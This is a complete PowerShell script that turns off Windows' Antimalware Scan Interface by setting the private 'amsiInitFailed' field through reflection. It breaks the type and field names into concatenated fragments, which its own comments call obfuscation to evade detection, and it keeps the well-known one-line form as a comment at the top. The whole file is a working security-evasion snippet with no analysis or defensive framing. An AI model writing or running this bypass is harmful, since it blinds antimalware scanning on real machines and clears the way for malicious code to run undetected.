# [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Create a reference to the assembly with further obfuscation
$randomPart = 'A' + 'msi' + 'Utils'
$ref = [Ref]
$asm = $ref.Assembly
$amsiType = $asm.GetType('System.' + 'Management.' + 'Automation.' + $randomPart)

# Prepare the field name in a more obfuscated way
$amsiFieldName = 'amsi' + 'Init' + 'Failed'
$amsiField = $amsiType.GetField($amsiFieldName, 'NonPublic, Static')

# Set the field value to bypass AMSI
$amsiField.SetValue($null, $true)